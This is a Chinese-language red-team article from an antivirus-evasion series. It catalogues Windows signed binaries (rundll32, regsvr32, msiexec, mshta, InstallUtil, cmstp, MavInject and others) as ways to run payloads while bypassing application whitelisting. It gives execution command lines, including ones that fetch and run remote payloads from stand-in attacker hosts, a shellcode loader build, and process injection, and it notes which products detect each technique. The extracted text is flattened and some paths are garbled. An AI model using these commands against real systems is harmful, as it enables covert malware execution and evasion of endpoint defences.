搜索

[27000] 2020-05-25_远控免杀专题(67)-白名单(113个)总结篇

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-05-25_远控免杀专题(67)-白名单(113个)总结篇 远 控 免 杀 专 题 ( 6 7 ) - 白 名 单 ( 1 1 3 个 ) 总 结 篇 M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 5 - 2 5 以 下 文 章 来 源 于 T i d e 安 全 团 队   ， 作 者 重 剑 无 锋 关 于 白 名 单 程 序 关 于 白 名 单 程 序 相 信 大 家 对 白 名 单 程 序 利 用 的 手 法 也 已 经 非 常 熟 悉 了 ， 白 名 单 程 序 利 用 其 实 是 起 源 于 L O L B i n s ， 全 称 “ L i v i n g - O f f - t h e - L a n d   B i n a r i e s ” ， 直 白 翻 译 为 “ 生 活 在 陆 地 上 的 二 进 制 “ ， 这 个 概 念 最 初 在 2 0 1 3 年 D e r b y C o n 黑 客 大 会 由 C h r i s t o p h e r   C a m p b e l l 和 M a t t   G r a e b e r 进 行 创 造 ， 最 终 P h i l i p   G o h 提 出 了 L O L B i n s 这 个 概 念 。 什 么 程 序 才 能 称 之 为 L O L B i n s ： 1 、 可 以 是 带 有 M i c r o s o f t 签 名 的 二 进 制 文 件 ， 可 以 是 M i c r o s o f t 系 统 目 录 中 二 进 制 文 件 。 2 、 可 以 是 第 三 方 认 证 签 名 程 序 。 3 、 具 有 对 A P T 或 红 队 渗 透 方 有 用 的 功 能 4 、 该 程 序 除 过 正 常 的 功 能 外 ， 可 以 做 意 料 之 外 的 行 为 。 （ 如 ： 执 行 恶 意 代 码 、 绕 过 U A C ） 。 本 系 列 文 章 从 专 题 3 4 到 专 题 6 3 ， 共 介 绍 了 3 3 个 常 见 的 白 名 单 程 序 ， 分 别 为 ： R u n d l l 3 2 . e x e 、 M s i e x e c . e x e 、 M S B u i l d . e x e 、 I n s t a l l U t i l . e x e 、 M s h t a . e x e 、 R e g s v r 3 2 . e x e 、 C m s t p . e x e 、 C S c r i p t . e x e 、 W S c r i p t . e x e 、 F o r f i l e s . e x e 、 t e . e x e 、 O d b c c o n f . e x e 、 I n f D e f a u l t I n s t a l l . e x e 、 D i s k s h a d o w . e x e 、 P s E x e c . e x e 、 M s d e p l o y . e x e 、 W i n w o r d . e x e 、 R e g a s m . e x e 、 R e g s v c s . e x e 、 F t p . e x e 、 p u b p r n . v b s 、 w i n r m . v b s 、 s l m g r . v b s 、 X w i z a r d . e x e 、 C o m p i l e r . e x e 、 I E E x e c . e x e 、 M a v I n j e c t 3 2 、 P r e s e n t a t i o n h o s t . e x e 、 W m i c . e x e 、 P c a l u a . e x e 、 U r l . d l l 、 z i p f l d r . d l l 、 S y n c a p p v p u b l i s h i n g s e r v e r . v b s 。 其 实 还 有 大 量 的 L O L B i n s 程 序 可 以 被 利 用 ， 只 是 有 些 利 用 条 件 比 较 苛 刻 ， 有 些 是 用 来 下 载 而 不 是 用 来 执 行 p a y l o a d 的 ， 我 从 等 其 他 站 点 共 搜 集 到 1 1 3 个 ， 除 了 之 前 介 绍 的 3 3 个 外 ， 还 有 另 外 的 8 0 个 白 利 用 程 序 也 在 这 做 简 要 介 绍 。 由 于 白 名 单 程 序 加 载 p a y l o a d 的 免 杀 测 试 需 要 杀 软 的 行 为 检 测 才 合 理 ， 静 态 查 杀 p a y l o a d 或 者 查 杀 白 名 单 程 序 都 没 有 任 何 意 义 ， 所 以 这 里 对 白 名 单 程 序 的 免 杀 效 果 不 做 评 判 。 免 杀 系 列 文 章 及 相 关 软 件 下 载 ： 免 杀 系 列 文 章 及 相 关 软 件 下 载 ： 本 文 内 容 摘 要 本 文 内 容 摘 要 1 、 执 行 命 令 类 、 执 行 命 令 类 ( 已 测 试 已 测 试 3 3 个 个 ) 这 是 从 众 多 白 名 单 程 序 里 搜 集 了 一 些 知 名 度 比 较 高 也 比 较 通 用 一 些 的 白 名 单 进 行 了 逐 一 测 试 ， 这 些 程 序 的 具 体 介 绍 已 经 在 " T i d e 安 全 团 队 " 公 众 号 上 发 布 ， 这 是 只 是 简 单 罗 列 一 下 。 2 、 其 他 、 其 他 M S   w i n d o w s 程 序 程 序 ( 4 5 个 个 ) 这 些 也 都 是 w i n d o w s 自 带 的 可 执 行 程 序 ， 有 的 利 用 起 来 条 件 稍 微 苛 刻 ， 感 兴 趣 的 可 以 逐 一 测 试 。 3 、 系 统 库 文 件 、 系 统 库 文 件 ( 1 0 个 个 ) w i n d o w s 自 带 的 d l l 文 件 ， 一 般 需 要 使 用 r u n d l l 3 2 来 加 载 执 行 。 4 、 其 他 、 其 他 M S 程 序 程 序 ( 2 1 个 个 ) 并 非 w i n d o w s 自 带 ， 但 属 于 微 软 配 套 的 用 的 较 多 的 软 件 ， 比 如 o f f i c e 、 d o n e t 、 v i s u a l   s t u d i o 等 程 序 安 装 后 引 入 的 程 序 。 5 、 脚 本 文 件 、 脚 本 文 件 ( 4 个 个 ) w i n d o w s 自 带 的 脚 本 文 件 ， 可 用 来 加 载 p a y l o a d 。 执 行 命 令 类 执 行 命 令 类 ( 已 测 试 已 测 试 3 3 个 个 ) 在 本 免 杀 专 题 3 4 到 专 题 6 3 ( 已 发 布 在 我 们 团 队 的 公 众 号 " T i d e 安 全 团 队 " 上 ) ， 共 搜 集 了 3 3 个 常 见 的 白 名 单 程 序 ， 并 一 一 进 行 了 分 析 和 详 细 测 试 ， 本 部 分 也 是 对 这 些 已 进 行 了 测 试 的 白 名 单 程 序 进 行 简 要 汇 总 ， 详 细 测 试 过 程 可 参 考 相 应 文 章 链 接 。 M S B u i l d . e x e 杀 软 行 为 检 测 ： x m l 能 免 杀 时 不 会 触 发 杀 软 行 为 预 警 。 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 1 W E g l P X m 1 Q 5 n 6 T - c 4 O h h X A M i c r o s o f t   B u i l d   E n g i n e 是 一 个 用 于 构 建 应 用 程 序 的 平 台 ， 此 引 擎 也 被 称 为 m s b u i l d ， 它 为 项 目 文 件 提 供 一 个 X M L 模 式 ， 该 模 式 控 制 构 建 平 台 如 何 处 理 和 构 建 软 件 。 V i s u a l   S t u d i o 使 用 M S B u i l d ， 但 它 不 依 赖 于 V i s u a l   S t u d i o 。 通 过 在 项 目 或 解 决 方 案 文 件 中 调 用 m s b u i l d . e x e ， 可 以 在 未 安 装 V i s u a l   S t u d i o 的 环 境 中 编 译 和 生 成 程 序 。 执 行 方 式 ： m s b u i l d . e x e 加 载 文 件 的 方 式 有 两 种 T i d e 安 全 团 队 安 全 团 队   . T i d e 安 全 团 队 以 信 安 技 术 研 究 为 目 标 ， 致 力 于 分 享 高 质 量 原 创 文 章 、 开 源 安 全 工 具 、 交 流 安 全 技 术 ， 研 究 方 向 覆 盖 网 络 攻 防 、 W e b 安 全 、 移 动 终 端 、 安 全 开 发 、 物 联 网 / 工 控 安 全 / A I 安 全 等 多 个 领 域 ， 对 安 全 感 兴 趣 的 小 伙 伴 可 以 关 注 我 们 。 h t t p s : / / l o l b a s - p r o j e c t . g i t h u b . i o h t t p s : / / g i t h u b . c o m / T i d e S e c / B y p a s s A n t i V i r u s 1 .   本 地 加 载 执 行 :
M s i e x e c . e x e 杀 软 行 为 检 测 ： 执 行 时 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / X P r B K 1 Y h 5 g g O - P e K 8 5 m q c g 看 到 m s i e x e c 可 能 还 有 点 陌 生 ， 但 说 道 . m s i 可 能 就 比 较 熟 悉 了 ， 在 w i n d o w s 下 很 多 软 件 安 装 就 是 . m s i 格 式 的 。 当 W i n d o w s 操 作 系 统 安 装 了 W i n d o w s   I n s t a l l e r 引 擎 ， 而 M S I 软 件 包 使 用 该 引 擎 来   安 装 应 用 程 序 ， 解 释 包 和 安 装 产 品 的 可 执 行 程 序 就 是 我 们 这 用 到   的 M s i e x e c . e x e 。 执 行 方 式 ： m s i 文 件 可 以 双 击 执 行 ， 也 可 以 命 令 行 静 默 执 行 ， 而 且 m s i e x e c 也 同 样 支 持 远 程 下 载 功 能 ， 将 m s i 文 件 上 传 到 服 务 器 ， 通 过 如 下 命 令 远 程 执 行 ： I n s t a l l U t i l . e x e 杀 软 行 为 检 测 ： 3 6 0 安 全 卫 士 会 检 测 到 I n s t a l l U t i l . e x e 执 行 预 警 ， 3 6 0 杀 毒 和 火 绒 动 态 和 静 态 均 无 预 警 。 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / g N 2 p 3 Z H O D Z F i a 2 7 6 1 B V S z g I n s t a l l U t i l . e x e 算 是 免 杀 白 名 单 里 使 用 比 较 多 的 一 个 了 ， I n s t a l l U t i l . e x e 可 以 用 于 安 装 有 . N E T 开 发 的 所 有 应 用 安 装 程 序 ， 如 果 要 使 用   . N E T   F r a m e w o r k   开 发   W i n d o w s   服 务 ， 则 可 以 使 用 i n s t a l l u t i l . e x e 命 令 行 快 速 安 装 服 务 应 用 程 序 。 m e t a s p l o i t 自 带 的 e v a s i o n 免 杀 模 块 ， 就 提 供 了 来 直 接 创 建 I n s t a l l U t i l . e x e 可 加 载 的 p a y l o a d ， 详 见 远 控 免 杀 专 题 文 章 ( 4 ) - E v a s i o n 模 块 免 杀 ( V T 免 杀 率 1 2 / 7 1 ) : 另 外 ， 专 题 2 0 里 的 G r e a t S C T 也 提 供 了 基 于 I n s t a l l U t i l . e x e 的 免 杀 : 执 行 方 式 ： 使 用 c s c 编 译 I n s t a l l U t i l - S h e l l C o d e . c s 使 用 I n s t a l l U t i l . e x e 执 行 s h e l l . e x e M s h t a . e x e 杀 软 行 为 检 测 ： h t a 能 免 杀 时 不 会 触 发 杀 软 行 为 预 警 。 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / o B r - s y v 2 e f 5 I j e G F r s 7 s H g M s h t a . e x e 是 微 软 W i n d o w s 操 作 系 统 相 关 程 序 ， 英 文 全 称 M i c r o s o f t   H T M L   A p p l i c a t i o n ， 可 翻 译 为 微 软 超 文 本 标 记 语 言 应 用 ， 用 于 执 行 . H T A 文 件 。 路 径 : 执 行 方 式 ： 执 行 h t a R u n d l l 3 2 . e x e 杀 软 行 为 检 测 ： 执 行 时 火 绒 会 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / r m C 4 A W C 6 H m c p h o z f E Z h R G A R u n d l l 3 2 . e x e ， 可 以 执 行 3 2 位 的 D L L 文 件 ， 以 命 令 行 的 方 式 调 用 动 态 链 接 程 序 库 。 。 它 的 作 用 是 执 行 D L L 文 件 中 的 内 部 函 数 ， 这 样 在 进 程 当 中 ， 只 会 有 R u n d l l 3 2 . e x e ， 而 不 会 有 D L L 后 门 的 进 程 ， 这 样 就 实 现 了 进 程 上 的 隐 藏 。 系 统 中 还 有 一 个 R u n d l l . e x e 文 件 ， 可 以 执 行 1 6 位 的 D L L 文 件 。 R u n d l l 3 2 . e x e 令 行 下 的 使 用 方 法 为 ： -   % w i n d i r % M i c r o s o f t . N E T F r a m e w o r k v 4 . 0 . 3 0 3 1 9 m s b u i l d . e x e   < f o l d e r _ p a t h _ h e r e > m s b u i l d _ n p s . x m l 2 .   远 程 文 件 执 行 : w m i e x e c . p y   < U S E R > : ' < P A S S > ' @ < R H O S T >   c m d . e x e   / c   s t a r t   % w i n d i r % M i c r o s o f t . N E T F r a m e w o r k v 4 . 0 . 3 0 3 1 9 m s b u i l d . e x e   < a t t a c k e r i p > < s h a r e > m s b u i l d _ n p s . x m l m s i e x e c   / q   / i   h t t p : / / w w w . t i d e s e c . c o m / s h e l l / s h e l l . m s i w i n d o w s / a p p l o c k e r _ e v a s i o n _ i n s t a l l _ u t i l h t t p s : / / m p . w e i x i n . q q . c o m / s / Y n n C M 7 W 2 0 x S c v 5 2 k _ u b x Y Q h t t p s : / / m p . w e i x i n . q q . c o m / s / s 9 D F R I g p v p E - _ M n e O 0 B _ F Q C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k v 2 . 0 . 5 0 7 2 7 c s c . e x e   / u n s a f e   / p l a t f o r m : x 8 6   / o u t : C : t e s t s h e l l . e x e   C : t e s t I n s t a l l U t i l - S h e l l C o d e . c s C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k v 2 . 0 . 5 0 7 2 7 I n s t a l l U t i l . e x e   / l o g f i l e =   / L o g T o C o n s o l e = f a l s e   / U   C : t e s t s h e l l . e x e C : W i n d o w s S y s t e m 3 2 m s h t a . e x e C : W i n d o w s S y s W O W 6 4 m s h t a . e x e m s h t a . e x e   e v i l f i l e . h t a R u n d l l 3 2 . e x e   D L L n a m e , F u n c t i o n n a m e
, 需 注 意 x 8 6 ， x 6 4 位 的 R u n d l l 3 2 调 用 ， 6 4 位 的 系 统 默 认 调 用 的 是 6 4 位 R u n d l l 3 2 . e x e ( 在 C : W i n d o w s S y s t e m 3 2 目 录 下 ) 。 W i n d o w s   7   默 认 位 置 ： 执 行 方 式 ： R u n d l l 3 2 的 使 用 , 参 考 自 A T T & C K 手 册 。 1 ） 直 接 执 行 d l l 文 件 2 ） 调 用 系 统 中 原 生 存 在 的 d l l 中 的 未 记 录 d l l 函 数 2 . 1 ） 调 用 s h e l l 3 2 . d l l 函 数 执 行 控 制 面 板 项 文 件 （ . c p l ） 2 . 2 ） A d v p a c k . d l l   -   L a u n c h I N F S e c t i o n a d v p a c k . d l l 用 于 帮 助 硬 件 和 软 件 读 取 和 验 证 · I N F 文 件 。 正 如 老 话 所 说 ， ” 大 部 分 安 全 问 题 本 质 就 是 功 能 被 误 用 “ ， a d v p a c k . d l l 也 可 以 被 攻 击 者 利 用 进 行 代 码 / 指 令 代 理 执 行 ， 2 . 3 ） A d v p a c k . d l l   -   R e g i s t e r O C X 2 . 4 ） z i p f l d r . d l l   -   R o u t e T h e C a l l 2 . 5 ） u r l . d l l   -   O p e n U R L 2 . 6 ） u r l . d l l   -   F i l e P r o t o c o l H a n d l e r 2 . 7 ） i e f r a m e . d l l   -   O p e n U R L 2 . 8 ） s h d o c v w . d l l   -   O p e n U R L 2 . 9 ） i e a d v p a c k . d l l   -   L a u n c h I N F S e c t i o n 2 . 1 0 ） s h e l l 3 2 . d l l   -   S h e l l E x e c _ R u n D L L 2 . 1 1 ） p c w u t l . d l l   -   L a u n c h A p p l i c a t i o n 2 . 1 2 ） S e t u p a p i . d l l   -   I n s t a l l H i n f S e c t i o n 2 . 1 3 ） S y s s e t u p . d l l   -   S e t u p I n f O b j e c t I n s t a l l A c t i o n 3 ） 执 行 j a v a s c r i p t 脚 本 6 4 位   C : W i n d o w s S y s t e m 3 2 r u n d l l 3 2 . e x e 3 2 位   C : W i n d o w s S y s W O W 6 4 r u n d l l 3 2 . e x e r u n d l l 3 2 . e x e   c : w i n d o w s d e b u g i t e m . d a t , S e r v i c e M a i n   a a a a r u n d l l 3 2 . e x e   " C : W i n d o w s t w a i n _ 6 4 . d l l " , E n t r y P o i n t r u n d l l 3 2   s h e l l 3 2 . d l l , C o n t r o l _ R u n D L L   < 文 件 名 > c o n t r o l . e x e   t e s t . c p l r u n d l l 3 2 . e x e   a d v p a c k . d l l , L a u n c h I N F S e c t i o n     c : t e s t . i n f , D e f a u l t I n s t a l l _ S i n g l e U s e r , 1 , C : W i n d o w s S y s t e m 3 2 r u n d l l 3 2   a d v p a c k . d l l , L a u n c h I N F S e c t i o n E x   C : W i n d o w s s y s t e m 3 2 i e u i n i t . i n f , I n s t a l l R e q u i r e s   a d m i n :   N o W i n d o w s   b i n a r y :   Y e s B y p a s s e s   A p p L o c k e r   D e f a u l t   r u l e s :   Y e s r u n d l l 3 2 . e x e   a d v p a c k . d l l , R e g i s t e r O C X   c a l c . e x e R e q u i r e s   a d m i n :   N o W i n d o w s   b i n a r y :   Y e s B y p a s s e s   A p p L o c k e r   D e f a u l t   r u l e s :   Y e s r u n d l l 3 2 . e x e   z i p f l d r . d l l , R o u t e T h e C a l l   c a l c . e x e r u n d l l 3 2     u r l . d l l , O p e n U R L   f i l e : / / C : / W i n d o w s / s y s t e m 3 2 / c a l c . e x e   r u n d l l 3 2 . e x e   u r l . d l l , O p e n U R L   " C : t e s t c a l c . h t a " r u n d l l 3 2 . e x e   u r l . d l l , O p e n U R L   " C : t e s t c a l c . u r l " r u n d l l 3 2 . e x e     u r l . d l l , O p e n U R L   h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / M i c r o p o o r _ u r l _ d l l . h t a r u n d l l 3 2 . e x e   u r l . d l l ,   F i l e P r o t o c o l H a n d l e r   c a l c . e x e r u n d l l 3 2 . e x e   i e f r a m e . d l l , O p e n U R L   " C : t e s t c a l c . u r l " r u n d l l 3 2 . e x e   s h d o c v w . d l l , O p e n U R L   " C : t e s t c a l c . u r l " r u n d l l 3 2 . e x e   i e a d v p a c k . d l l , L a u n c h I N F S e c t i o n   t e s t . i n f , , 1 , r u n d l l 3 2 . e x e   s h e l l 3 2 . d l l , S h e l l E x e c _ R u n D L L   C : W i n d o w s S y s t e m 3 2 c a l c . e x e r u n d l l 3 2 . e x e   C : W i n d o w s S y s t e m 3 2 p c w u t l . d l l , L a u n c h A p p l i c a t i o n   c a l c . e x e #   L a u n c h   a n   e x e c u t a b l e   f i l e   v i a   t h e   I n s t a l l H i n f S e c t i o n   f u n c t i o n   a n d   . i n f   f i l e   s e c t i o n   d i r e c t i v e . r u n d l l 3 2 . e x e   s e t u p a p i . d l l , I n s t a l l H i n f S e c t i o n   D e f a u l t I n s t a l l   1 2 8   C : T o o l s c a l c _ e x e . i n f #   L a u n c h   a n   e x e c u t a b l e   f i l e   v i a   t h e   S e t u p I n f O b j e c t I n s t a l l A c t i o n   f u n c t i o n   a n d   . i n f   f i l e   s e c t i o n   d i r e c t i v e . r u n d l l 3 2   s y s s e t u p . d l l , S e t u p I n f O b j e c t I n s t a l l A c t i o n   D e f a u l t I n s t a l l   1 2 8   c : t e m p s o m e t h i n g . i n f r u n d l l 3 2   j a v a s c r i p t : " . . m s h t m l , R u n H T M L A p p l i c a t i o n " ; o = G e t O b j e c t ( " s c r i p t : h t t p : / / r e v e r s e - t c p . x y z / p a y l o a d . s c t " ) ; w i n d o w . c l o s e ( ) ; r u n d l l 3 2 . e x e   j a v a s c r i p t : " . . m s h t m l . d l l , R u n H T M L A p p l i c a t i o n   " ; e v a l ( " w = n e w % 2 0 A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) ; w . r u n ( " c a l c " ) ; w i n d o w . c l o s e ( ) " ) ; r u n d l l 3 2 . e x e   j a v a s c r i p t : " . . m s h t m l , R u n H T M L A p p l i c a t i o n   " ; d o c u m e n t . w r i t e ( ) ; h = n e w % 2 0 A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . r u n ( " c a l c . e x e " , 0 , t r u e ) ; t r y { h . S e n d ( ) ; b = h . R e s p o n s e T e x t ; e v a l ( b ) ; } c a t c h ( e ) { n e w % 2 0 A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c m d   / c   t a s k k i l l   / f   / i m   r u n d l l 3 2 . e x e " , 0 , t r u e ) ; }
R e g s v r 3 2 . e x e 杀 软 行 为 检 测 ： 3 6 0 和 火 绒 都 会 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 6 v 8 w 2 Y Z L x H J F n X b - I b n Y A A R e g s v r 3 2 是 一 个 命 令 行 实 用 程 序 ， 用 于 注 册 和 取 消 注 册 O L E 控 件 ， 例 如 W i n d o w s 注 册 表 中 的 D L L 和 A c t i v e X 控 件 ， 以 命 令 行 方 式 运 行 。 R e g s v r 3 2 . e x e 安 装 在 W i n d o w s   X P 及 更 高 版 本 的 W i n d o w s 的 % s y s t e m r o o t % S y s t e m 3 2   文 件 夹 中 。 当 通 过 r e g s v r 3 2 中 注 册 一 个 d l l 文 件 时 ， 有 关 与 r e g s v r 3 2 关 联 的 程 序 的 信 息 将 会 被 添 加 到 W i n d o w s 中 ， 然 后 访 问 这 些 进 程 查 看 器 以 了 解 程 序 数 据 的 位 置 以 及 如 何 与 程 序 数 据 进 行 交 互 。 在 注 册 一 个 d l l 文 件 时 ， 会 将 信 息 添 加 到 目 录 中 ， 以 便 W i n d o w s 可 以 使 用 它 。 通 常 ， 除 了 注 册 和 注 销 d l l 文 件 外 ， 此 文 件 不 常 用 。 R e g s v r 3 2 . e x e 分 3 2 位 和 6 4 位 ， 在 w i n d o w s 系 统 中 的 位 置 执 行 方 式 ： 执 行 本 地 脚 本 加 载 远 程 脚 本 执 行 C m s t p . e x e 杀 软 行 为 检 测 ： 执 行 时 3 6 0 会 行 为 预 警 ， 火 绒 无 响 应 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / t g t v O M D G l K F w d R Q E n K J f 5 Q M i c r o s o f t 连 接 管 理 器 配 置 文 件 安 装 程 序 （ C M S T P . e x e ） 是 用 于 安 装 连 接 管 理 器 服 务 配 置 文 件 的 命 令 行 程 序 。 C M S T P . e x e 接 受 安 装 信 息 文 件 （ I N F ） 作 为 参 数 ， 并 安 装 用 于 远 程 访 问 连 接 的 服 务 配 置 文 件 。 攻 击 者 可 能 会 使 用 C M S T P . e x e 调 用 恶 意 的 I N F 文 件 。 与 R e g s v r 3 2   相 似 ， C M S T P . e x e 可 能 被 利 用 从 远 程 服 务 器 加 载 和 执 行 D L L 或 C O M 脚 本 （ S C T ） 。 由 于 C M S T P . e x e 是 合 法 的 ， 经 过 签 名 的 M i c r o s o f t 应 用 程 序 ， 因 此 该 执 行 过 程 也 可 以 绕 过 A p p L o c k e r 和 其 他 白 名 单 防 御 。 在 w i n d o w s 中 文 件 路 径 执 行 方 式 ： 执 行 本 地 p a y l o a d ： 执 行 远 程 p a y l o a d ： F t p . e x e 杀 软 行 为 检 测 ： 不 会 触 发 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / r n m C I x 5 o x A 9 z - 0 O f j o U A V w F t p . e x e 是 W i n d o w s 本 身 自 带 的 一 个 程 序 ， 属 于 微 软 F T P 工 具 ， 提 供 基 本 的 F T P 访 问 。 W i n d o w s   2 0 0 3   默 认 位 置 ： W i n d o w s   7   默 认 位 置 ： 执 行 方 式 ： R e g a s m . e x e / R e g s v c s . e x e 杀 软 行 为 检 测 ： 执 行 时 触 发 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / M C M j x P d U N d w V 8 i s 0 4 A k l L A r u n d l l 3 2 . e x e   j a v a s c r i p t : " . . m s h t m l , R u n H T M L A p p l i c a t i o n   " ; d o c u m e n t . w r i t e ( ) ; h = n e w % 2 0 A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . r u n ( " c a l c . e x e " , 0 , t r u e ) ; t r y { h . S e n d ( ) ; b = h . R e s p o n s e T e x t ; e v a l ( b ) ; } c a t c h ( e ) { n e w % 2 0 A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c m d   / c   t a s k k i l l   / f   / i m   r u n d l l 3 2 . e x e " , 0 , t r u e ) ; } 6 4 位 ： C : W I N D O W S S y s W O W 6 4 r e g s v r 3 2 . e x e 3 2 位 ： C : W I N D O W S s y s t e m 3 2 r e g s v r 3 2 . e x e r e g s v r 3 2 . e x e   / s   / u   / i : f i l e . s c t   s c r o b j . d l l r e g s v r 3 2 . e x e   / s   / u   / i : h t t p : / / r e v e r s e - t c p . x y z / f i l e . s c t   s c r o b j . d l l r e g s v r 3 2 . e x e   / u   / n   / s   / i : w e b d a v s e r v e r f o l d e r p a y l o a d . s c t   s c r o b j . d l l 6 4 位   C : W i n d o w s S y s t e m 3 2 c m s t p . e x e 3 2 位   C : W i n d o w s S y s W O W 6 4 c m s t p . e x e c m s t p . e x e   / n i   / s   c : c m s t p C o r p V P N . i n f c m s t p . e x e   / n i   / s   1 0 . 2 1 1 . 5 5 . 2 8 t e s t c m s t p . i n f C : W i n d o w s S y s t e m 3 2 f t p . e x e C : W i n d o w s S y s W O W 6 4 f t p . e x e C : W i n d o w s S y s t e m 3 2 f t p . e x e C : W i n d o w s S y s W O W 6 4 f t p . e x e e c h o   ! c a l c . e x e   >   f t p c o m m a n d s . t x t   & &   f t p   - s : f t p c o m m a n d s . t x t
R e g s v c s 和 R e g a s m 是 W i n d o w s 命 令 行 实 用 程 序 ， 用 于 注 册 . N E T 组 件 对 象 模 型 （ C O M ） 程 序 集 。 两 者 都 是 由 M i c r o s o f t 进 行 数 字 签 名 的 。 攻 击 者 可 以 使 用 R e g s v c s 和 R e g a s m 代 理 通 过 受 信 任 的 W i n d o w s 实 用 程 序 执 行 代 码 。 两 个 实 用 程 序 可 用 于 通 过 使 用 二 进 制 内 的 属 性 来 绕 过 进 程 白 名 单 ， 以 指 定 应 在 注 册 或 取 消 注 册 之 前 运 行 的 代 码 ： [ C o m R e g i s t e r F u n c t i o n ] 或 [ C o m U n r e g i s t e r F u n c t i o n ] 分 别 。 即 使 进 程 在 权 限 不 足 的 情 况 下 运 行 并 且 无 法 执 行 ， 也 将 执 行 具 有 注 册 和 取 消 注 册 属 性 的 代 码 。 执 行 方 式 ： C o m p i l e r . e x e 杀 软 行 为 检 测 ： 触 发 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / S m _ 3 c J l S k 6 P u d 1 C L p - e A E Q M i c r o s o f t . W o r k f l o w . C o m i l e r . e x e 是 . N E T   F r a m e w o r k 默 认 自 带 的 一 个 实 用 工 具 ， 用 户 能 够 以 X O M L 工 作 流 文 件 的 形 式 提 供 一 个 序 列 化 工 作 流 来 执 行 任 意 未 签 名 的 代 码 。 注 意 ： 如 果 M i c r o s o f t . W o r k f l o w . C o m p i l e r 命 令 无 法 识 别 ， 可 能 是 M i c r o s o f t . W o r k f l o w . C o m p i l e r . e x e 所 在 路 径 没 有 被 系 统 添 加 P A T H 环 境 变 量 中 。 W i n 7 的 C o m p i l e r . e x e 默 认 位 置 ： 执 行 方 式 ： M a v I n j e c t . e x e 杀 软 行 为 检 测 ： 未 触 发 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / d P O G j 1 V L h q w x J 0 e - g O s 8 v A M a v I n j e c t 3 2 . e x e 是 微 软 应 用 程 序 虚 拟 化 的 一 部 分 ， 可 以 直 接 完 成 向 某 一 进 程 注 入 代 码 的 功 能 。 6 4 位 系 统 下 的 文 件 位 置 ： 执 行 方 式 ： p r e s e n t a t i o n h o s t . e x e 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / r 9 l 5 L h 6 M H v - E c e 2 D F r 3 E s A P r e s e n t a t i o n h o s t . e x e 是 一 个 内 置 的 W i n d o w s 可 执 行 文 件 ， 用 于 运 行 X A M L 浏 览 器 应 用 程 序 （ 即 . x b a p 文 件 ） 。 在 多 个 A p p L o c k e r 白 名 单 绕 过 列 表 中 ， P r e s e n t a t i o n h o s t . e x e 都 位 列 其 中 （ 例 如 a p i 0 c r a d l 和 m i l k d e v i l ） 。 当 我 们 打 开 . x b a p 文 件 的 时 候 其 实 不 是 在 I E 中 启 动 的 应 用 程 序 ， 而 是 在 P r e s e n t a t i o n h o s t . e x e 中 运 行 ， 通 常 是 在 一 个 沙 箱 中 以 保 护 用 户 免 受 恶 意 代 码 的 攻 击 。 执 行 方 式 ： I E e x e c . e x e 杀 软 行 为 检 测 ： 未 触 发 杀 软 行 为 预 警 详 细 文 章 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / w V b F r U 9 c E 3 h C Y A E N j m n S U Q I E e x e c . e x e 应 用 程 序 是 . N E T   F r a m e w o r k 附 带 程 序 ， 存 在 于 多 个 系 统 白 名 单 内 。 可 以 将 I E E x e c . e x e 应 用 程 序 用 作 主 机 ， 以 运 行 使 用 U R L 启 动 的 其 他 托 管 应 用 程 序 。 I E e x e . e x e 在 6 4 位 系 统 路 径 为 ： 执 行 方 式 ： w i n r m . v b s / s l m g r . v b s 杀 软 行 为 检 测 ： 触 发 杀 软 行 为 预 警 r e g a s m . e x e   A l l T h e T h i n g s x 6 4 . d l l r e g s v c s . e x e   A l l T h e T h i n g s x 6 4 . d l l C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k v 4 . 0 . 3 0 3 1 9 M i c r o s o f t . W o r k f l o w . C o m p i l e r . e x e C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 M i c r o s o f t . W o r k f l o w . C o m p i l e r . e x e M i c r o s o f t . W o r k f l o w . C o m p i l e r . e x e   t e s t s . x m l   r e s u l t s . x m l C : P r o g r a m   F i l e s C o m m o n   F i l e s m i c r o s o f t   s h a r e d C l i c k T o R u n M a v I n j e c t 3 2 . e x e C : P r o g r a m   F i l e s C o m m o n   F i l e s m i c r o s o f t   s h a r e d C l i c k T o R u n M a v I n j e c t 3 2 . e x e "   < P I D >   / I N J E C T R U N N I N G   < P A T H   D L L > P r e s e n t a t i o n h o s t . e x e   C : t e m p E v i l . x b a p C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 2 . 0 . 5 0 7 2 7 i e e x e c . e x e   h t t p : / / x . x . x . x : 8 0 8 0 / b y p a s s . e x e
